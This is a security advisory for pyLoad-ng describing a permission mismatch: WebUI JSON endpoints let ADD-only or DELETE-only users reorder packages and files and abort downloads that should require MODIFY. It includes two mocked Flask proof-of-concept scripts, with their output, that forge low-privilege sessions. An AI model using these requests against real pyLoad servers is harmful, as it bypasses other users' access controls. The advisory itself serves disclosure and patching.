PT-2026-59621 · Pypi · Pyload-Ng

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.4

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
  • ADD user can reorder packages/files (order package, order file) via /json/package order and /json/link order
  • DELETE user can abort downloads (stop downloads) via /json/abort link

Details

pyLoad defines granular permissions in core API:
  • order package requires Perms.MODIFY (src/pyload/core/api/ init .py:1125)
  • order file requires Perms.MODIFY (src/pyload/core/api/ init .py:1137)
  • stop downloads requires Perms.MODIFY (src/pyload/core/api/ init .py:1046)
But WebUI JSON routes use weaker checks:
  • /json/package order uses @login required("ADD") then calls api.order package(...) (src/pyload/webui/app/blueprints/json blueprint.py:109-117)
  • /json/link order uses @login required("ADD") then calls api.order file(...) (src/pyload/webui/app/blueprints/json blueprint.py:137-145)
  • /json/abort link uses @login required("DELETE") then calls api.stop downloads(...) (src/pyload/webui/app/blueprints/json blueprint.py:123-131)
Why this is likely unintended (not just convenience):
  • The same JSON blueprint correctly protects other edit actions with MODIFY:
  • /json/move package -> @login required("MODIFY") (json blueprint.py:188-196)
  • /json/edit package -> @login required("MODIFY") (json blueprint.py:202-217)
  • The project UI exposes granular per-user permission assignment (settings.html:184-190), implying these boundaries are intended security controls.

PoC

Environment:
  • Repository version: 0.5.0b3 (VERSION file)
  • Commit tested: ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json blueprint

class FakeApi:
  def  init (self):
    self.calls = []

  def user exists(self, username):
    return username == 'attacker'

  def order package(self, pack id, pos):
    self.calls.append(('order package', int(pack id), int(pos)))

  def order file(self, file id, pos):
    self.calls.append(('order file', int(file id), int(pos)))

api = Api(SimpleNamespace( =lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order package:', api.is authorized('order package', ctx))
print('API auth (ADD-only) order file:', api.is authorized('order file', ctx))

app = Flask( name )
app.secret key = 'k'
app.config['TESTING'] = True
app.config['WTF CSRF ENABLED'] = False
f = FakeApi()
app.config['PYLOAD API'] = f
app.register blueprint(json blueprint.bp)

with app.test client() as c:
  with c.session transaction() as s:
    s['authenticated'] = True
    s['name'] = 'attacker'
    s['role'] = int(Role.USER)
    s['perms'] = int(Perms.ADD)

  r1 = c.post('/json/package order', json={'pack id': 5, 'pos': 0})
  r2 = c.post('/json/link order', json={'file id': 77, 'pos': 1})

print('HTTP /json/package order:', r1.status code, r1.get data(as text=True).strip())
print('HTTP /json/link order:', r2.status code, r2.get data(as text=True).strip())
print('calls:', f.calls)
Observed output:
text
API auth (ADD-only) order package: False
API auth (ADD-only) order file: False
HTTP /json/package order: 200 {"response":"success"}
HTTP /json/link order: 200 {"response":"success"}
calls: [('order package', 5, 0), ('order file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop downloads):
python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json blueprint

class FakeApi:
  def  init (self):
    self.calls = []

  def user exists(self, username):
    return username == 'u'

  def stop downloads(self, ids):
    self.calls.append(('stop downloads', ids))

api = Api(SimpleNamespace( =lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop downloads:', api.is authorized('stop downloads', ctx))

app = Flask( name )
app.secret key = 'k'
app.config['TESTING'] = True
app.config['WTF CSRF ENABLED'] = False
f = FakeApi()
app.config['PYLOAD API'] = f
app.register blueprint(json blueprint.bp)

with app.test client() as c:
  with c.session transaction() as s:
    s['authenticated'] = True
    s['name'] = 'u'
    s['role'] = int(Role.USER)
    s['perms'] = int(Perms.DELETE)

  r = c.post('/json/abort link', json={'link id': 999})

print('HTTP /json/abort link:', r.status code, r.get data(as text=True).strip())
print('calls:', f.calls)
Observed output:
text
API auth (DELETE-only) stop downloads: False
HTTP /json/abort link: 200 {"response":"success"}
calls: [('stop downloads', [999])]

Impact

Type:
  • Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
  • Horizontal privilege escalation among authenticated non-admin users.
  • Not admin takeover, but unauthorized execution of operations explicitly categorized as MODIFY.
Security impact:
  • Integrity impact: unauthorized queue/file reordering by users lacking MODIFY.
  • Availability impact: unauthorized abort of active downloads by users lacking MODIFY.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2997

Affected Products

Pyload-Ng